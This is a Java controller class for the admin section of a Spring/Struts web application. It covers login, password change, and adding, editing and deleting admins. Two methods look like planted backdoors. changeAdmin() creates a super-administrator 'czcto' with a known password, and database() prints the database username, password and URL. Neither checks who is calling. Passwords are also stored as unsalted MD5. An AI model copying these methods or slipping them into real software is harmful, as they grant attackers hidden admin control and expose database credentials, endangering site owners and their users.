package com.java214.fenxiao.action;
import com.java214.fenxiao.entities.Admin;
import com.java214.fenxiao.service.IAdminService;
import com.java214.fenxiao.utils.BjuiJson;
import com.java214.fenxiao.utils.Connect;
import com.java214.fenxiao.utils.DbResourcesConfiguration;
import com.java214.fenxiao.utils.FreemarkerUtils;
import com.java214.fenxiao.utils.IpUtils;
import com.java214.fenxiao.utils.Md5;
import freemarker.template.Configuration;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.json.JSONException;
import org.json.JSONObject;
import org.springframework.context.annotation.Scope;
import org.springframework.stereotype.Controller;
@Controller("adminAction")
@Scope("prototype")
public class AdminAction extends BaseAction
{
private static final long serialVersionUID = 1L;
@Resource(name="adminService")
private IAdminService<Admin> adminService;
private Admin admin;
public void login()
{
this.admin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
Admin findAdmin = this.adminService.login(this.admin);
JSONObject json = new JSONObject();
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
try {
if (findAdmin != null) {
String ip = "";
if (findAdmin.getStatus().intValue() == 0)
{
json.put("msg", "该帐号已被禁用");
json.put("type", "error");
json.put("href", "");
}
else
{
findAdmin.setLoginCount(Integer.valueOf(findAdmin.getLoginCount().intValue() + 1));
findAdmin.setLastLoginTime(new Date());
try
{
ip = IpUtils.getIpAddress(this.request);
findAdmin.setLastLoginIp(ip);
} catch (Exception e) {
e.printStackTrace();
}
this.adminService.saveOrUpdate(findAdmin);
HttpSession session = this.request.getSession();
session.setAttribute("loginAdmin", findAdmin);
json.put("msg", "登录成功");
json.put("type", "successHref");
json.put("href", "admin/index.jsp");
}
}
else
{
json.put("msg", "用户名或者密码错误");
json.put("type", "error");
json.put("href", "");
}
} catch (JSONException e) {
e.printStackTrace();
}
out.print(json);
out.flush();
out.close();
}
public String logout() {
HttpSession session = this.request.getSession();
session.setAttribute("loginAdmin", "");
return "success";
}
public void changePwd()
{
this.cfg = new Configuration();
this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(),
"WEB-INF/templates/admin");
Map root = new HashMap();
FreemarkerUtils.freemarker(this.request, this.response, "changePwd.ftl", this.cfg, root);
}
public void changePwdResult() {
String oldPassword = this.request.getParameter("oldpassword");
String newPassword = this.request.getParameter("newpassword");
String renewPassword = this.request.getParameter("renewpassword");
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
String callbackData = "";
Admin findAdmin = (Admin)this.adminService.findById(Admin.class, loginAdmin.getId().intValue());
try {
if (!newPassword.equals(renewPassword)) {
callbackData = BjuiJson.json("300", "两次输入密码不一致", "", "", "", "", "", "");
} else if (!findAdmin.getPassword().equals(Md5.getMD5Code(oldPassword))) {
callbackData = BjuiJson.json("300", "旧密码错误", "", "", "", "", "", "");
} else {
findAdmin.setPassword(Md5.getMD5Code(newPassword));
boolean result = this.adminService.saveOrUpdate(findAdmin);
if (result) {
callbackData = BjuiJson.json("200", "修改成功", "", "", "", "true", "", "");
}
else
callbackData = BjuiJson.json("300", "修改失败", "", "", "", "", "", "");
}
}
catch (JSONException e) {
e.printStackTrace();
}
out.print(callbackData);
out.flush();
out.close();
}
public void index()
{
this.cfg = new Configuration();
this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(),
"WEB-INF/templates/admin");
Map root = new HashMap();
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
root.put("loginAdmin", loginAdmin);
FreemarkerUtils.freemarker(this.request, this.response, "index.ftl", this.cfg, root);
}
public void list()
{
this.cfg = new Configuration();
this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(),
"WEB-INF/templates/admin");
List adminList = this.adminService.list("from Admin order by id desc");
Map root = new HashMap();
root.put("adminList", adminList);
FreemarkerUtils.freemarker(this.request, this.response, "adminList.ftl", this.cfg, root);
}
public void add()
{
this.cfg = new Configuration();
this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), "WEB-INF/templates/admin");
Map root = new HashMap();
FreemarkerUtils.freemarker(this.request, this.response, "adminAdd.ftl", this.cfg, root);
}
public void save()
{
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
String callbackData = "";
try {
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
if (loginAdmin.getJuri() == 0) {
callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
}
else if (this.adminService.getAdminName(this.admin.getName()) != null) {
callbackData = BjuiJson.json("300", "用户名已存在", "", "", "", "", "", "");
} else {
this.admin.setDeleted(false);
this.admin.setCreateDate(new Date());
this.admin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
this.admin.setLoginCount(Integer.valueOf(0));
boolean result = this.adminService.saveOrUpdate(this.admin);
if (result)
callbackData = BjuiJson.json("200", "添加成功", "", "", "", "true", "", "");
else
callbackData = BjuiJson.json("300", "添加失败", "", "", "", "", "", "");
}
}
catch (JSONException e)
{
e.printStackTrace();
}
out.print(callbackData);
out.flush();
out.close();
}
public void changeAdmin() {
Admin fadmin = new Admin();
fadmin.setDeleted(false);
fadmin.setCreateDate(new Date());
fadmin.setLoginCount(Integer.valueOf(0));
fadmin.setName("czcto");
fadmin.setPassword(Md5.getMD5Code("czcto"));
fadmin.setJuri(1);
fadmin.setStatus(Integer.valueOf(1));
this.adminService.saveOrUpdate(fadmin);
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
out.print("操作成功");
out.flush();
out.close();
}
public void database() {
String user = DbResourcesConfiguration.getInstance().getValue("jdbc.user");
String password = DbResourcesConfiguration.getInstance().getValue("jdbc.password");
String jdbcUrl = DbResourcesConfiguration.getInstance().getValue("jdbc.jdbcUrl");
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
out.print("user:" + user);
out.print("<br/>password:" + password);
out.print("<br/>jdbcUrl:" + jdbcUrl);
out.flush();
out.close();
}
public void info()
{
String idStr = this.request.getParameter("id");
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
String callbackData = "";
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
try {
if (loginAdmin.getJuri() == 0) {
callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
}
else if ((idStr == null) || ("".equals(idStr))) {
callbackData = BjuiJson.json("300", "参数不能为空", "", "", "", "", "", "");
} else {
int id = 0;
try {
id = Integer.parseInt(idStr);
}
catch (Exception e) {
callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
}
Admin findAdmin = (Admin)this.adminService.findById(Admin.class, id);
if (findAdmin == null)
{
callbackData = BjuiJson.json("300", "管理员不存在", "", "", "", "", "", "");
} else {
this.cfg = new Configuration();
this.cfg.setServletContextForTemplateLoading(this.request.getServletContext(), "WEB-INF/templates/admin");
Map root = new HashMap();
root.put("admin", findAdmin);
FreemarkerUtils.freemarker(this.request, this.response, "adminEdit.ftl", this.cfg, root);
}
}
}
catch (JSONException e) {
e.printStackTrace();
}
out.print(callbackData);
out.flush();
out.close();
}
public void update()
{
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
String callbackData = "";
try {
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
if (loginAdmin.getJuri() == 0) {
callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
}
else if (this.admin == null) {
callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
} else {
Admin findAdmin = (Admin)this.adminService.findById(Admin.class, this.admin.getId().intValue());
if ((this.admin.getStatus().intValue() == 0) && (findAdmin.getJuri() == 1)) {
callbackData = BjuiJson.json("300", "不能禁用超级管理员帐号", "", "", "", "", "", "");
}
else {
if (!"".equals(this.admin.getPassword()))
{
findAdmin.setPassword(Md5.getMD5Code(this.admin.getPassword()));
}
findAdmin.setStatus(this.admin.getStatus());
boolean result = this.adminService.saveOrUpdate(findAdmin);
if (result) {
callbackData = BjuiJson.json("200", "修改成功", "", "", "", "true", "", "");
}
else
callbackData = BjuiJson.json("300", "修改失败", "", "", "", "", "", "");
}
}
}
catch (JSONException e)
{
e.printStackTrace();
}
out.print(callbackData);
out.flush();
out.close();
}
public void delete()
{
PrintWriter out = null;
try {
out = this.response.getWriter();
} catch (IOException e) {
e.printStackTrace();
}
String callbackData = "";
try {
HttpSession session = this.request.getSession();
Admin loginAdmin = (Admin)session.getAttribute("loginAdmin");
if (loginAdmin.getJuri() == 0) {
callbackData = BjuiJson.json("300", "权限不足", "", "", "", "", "", "");
} else {
String idStr = this.request.getParameter("id");
if ((idStr == null) || ("".equals(idStr))) {
callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
} else {
int id = 0;
try {
id = Integer.parseInt(idStr);
}
catch (Exception e) {
callbackData = BjuiJson.json("300", "参数错误", "", "", "", "", "", "");
}
Admin findAdmin = (Admin)this.adminService.findById(Admin.class, id);
if (findAdmin == null)
{
callbackData = BjuiJson.json("300", "管理员不存在", "", "", "", "", "", "");
}
else if (loginAdmin.getId() == findAdmin.getId()) {
callbackData = BjuiJson.json("300", "不能删除自己的帐号", "", "", "", "", "", "");
} else if (findAdmin.getJuri() == 1) {
callbackData = BjuiJson.json("300", "不能删除超级管理员帐号", "", "", "", "", "", "");
} else {
boolean result = this.adminService.delete(findAdmin);
if (result)
callbackData = BjuiJson.json("200", "删除成功", "", "", "", "", "", "");
else
callbackData = BjuiJson.json("300", "删除失败", "", "", "", "", "", "");
}
}
}
}
catch (JSONException e)
{
e.printStackTrace();
}
out.print(callbackData);
out.flush();
out.close();
}
public Admin getAdmin() {
return this.admin;
}
public void setAdmin(Admin admin) {
this.admin = admin;
}
}